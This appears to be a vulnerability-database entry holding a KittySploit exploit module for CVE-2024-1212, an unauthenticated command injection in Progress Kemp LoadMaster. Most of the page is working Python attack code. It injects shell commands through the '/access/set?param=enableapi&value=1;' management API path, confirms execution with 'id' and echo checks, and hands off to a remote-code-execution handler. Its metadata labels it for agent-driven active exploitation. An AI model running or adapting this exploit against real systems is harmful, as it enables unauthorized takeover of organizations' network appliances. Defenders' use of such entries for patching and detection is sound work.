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Kemp LoadMaster Command Injection (CVE-2024-1212)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
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Unauthenticated command injection in Progress Kemp LoadMaster management API.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Progress Kemp LoadMaster unauth command injection (CVE-2024-1212)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Kemp LoadMaster Command Injection (CVE-2024-1212)',
        'description': (
            'Exploits CVE-2024-1212 in Progress Kemp LoadMaster: unauthenticated command '
            'injection via /access/set?param=enableapi&value=... management API.'
        ),
        'author': ['KittySploit Team', 'Rhino Security Labs'],
        'cve': ['CVE-2024-1212'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2024-1212',
            'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster',
        ],
        'tags': ['loadmaster', 'kemp', 'progress', 'cmdi', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2024_1212_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        quoted = urllib.parse.quote(str(cmd))
        path = f'/access/set?param=enableapi&value=1;{quoted}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2024-1212 command injection confirmed',
                'confidence': 'high',
            }
        r = self.http_request(method='GET', path='/access/set?param=enableapi&value=1', allow_redirects=False)
        if r and r.status_code == 200 and all(m in (r.text or '') for m in ('bin', 'mnt')):
            return {
                'vulnerable': True,
                'reason': 'LoadMaster /access/set surface exposed',
                'confidence': 'medium',
            }
        return {'vulnerable': False, 'reason': 'LoadMaster injection not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

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05 Oct 2026 14:20Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8 - 10
EPSS0.95388
SSVC
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